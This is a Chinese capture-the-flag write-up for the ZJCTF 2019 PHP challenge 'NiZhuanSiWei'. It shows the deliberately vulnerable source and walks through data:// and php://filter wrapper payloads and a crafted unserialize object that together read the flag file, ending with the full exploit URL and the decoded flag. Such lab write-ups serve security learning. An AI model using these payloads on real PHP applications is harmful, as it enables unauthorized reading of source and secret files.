来源[ZJCTF 2019]NiZhuanSiWei
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,‘r‘)==="welcome to the zjctf")){ //绕过点1 echo "<br><h1>".file_get_contents($text,‘r‘)."</h1></br>"; if(preg_match("/flag/",$file)){ //绕过点2 echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
源码审计发现需要进行两次绕过
参考20210218CTF伪协议绕过file_get_contents(bugkuctf的web21御结冰城感想)_热热的雨夜的博客-CSDN博客
该函数是用于把文件的内容读入到一个字符串中的首选方法,但我们无法得知内容为welcome to the zjctf的文件名,也无法上传文件,file_get_contents的$filename参数不仅仅为本地文件路径,还可以是一个网络路径URL,
故可以利用伪协议进行绕过
php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。enctype=“multipart/form-data”的时候 php://input 是无效的。
利用bp抓包进行利用如下
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码
传输,用法data://text/plain;base64,base64编码数据
故构造payload1:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= welcome to the zjctf进行base64编码
成功绕过
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用,用于读取源代码
名称 | 描述 |
---|---|
resource=<要过滤的数据流> |
这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> |
该参数可选。可以设定一个或多个过滤器名称,以管道符(| )分隔。 |
write=<写链的筛选列表> |
该参数可选。可以设定一个或多个过滤器名称,以管道符(| )分隔。 |
<;两个链的筛选列表> |
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
if(preg_match("/flag/",$file)){ //绕过点2 echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; }
此处preg_match限制file不能传入带有flag的字符,则进入else语句,发现有个useless.php,试用php://filter 进行读取,如下
payload2:file=php://filter/read=convert.base64-encode/resource=useless.php,得到一串base64编码
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
进行解码得到
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
根据$password = unserialize($password); 得知我们需要构造序列化语句,file_get_contents可以解析php://filter,则我们如下进行构造
<?php class Flag{ //flag.php public $file=‘php://filter/read=convert.base64-encode/resource=flag.php‘; //public $file=‘flag.php‘ 这种方式可以通过F12进行查看flag } $a=new Flag(); echo serialize($a);
得到payload3:password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
将上述payload结合得到?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&&file=useless.php&&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;}
将得到的base64编码解码
PGJyPm9oIHUgZmluZCBpdCA8L2JyPgoKPCEtLWJ1dCBpIGNhbnQgZ2l2ZSBpdCB0byB1IG5vdy0tPgoKPD9waHAKCmlmKDI9PT0zKXsgIAoJcmV0dXJuICgiZmxhZ3tjODQwMjZkMy01MmEzLTRlYjgtYTQyOS1mNGY1OTU3OGZjMDF9Iik7Cn0KCj8
<br>oh u find it </br> <!--but i cant give it to u now--> <?php if(2===3){ return ("flag{c84026d3-52a3-4eb8-a429-f4f59578fc01}"); --得到flag } ?
原文:https://www.cnblogs.com/llllll7/p/14839132.html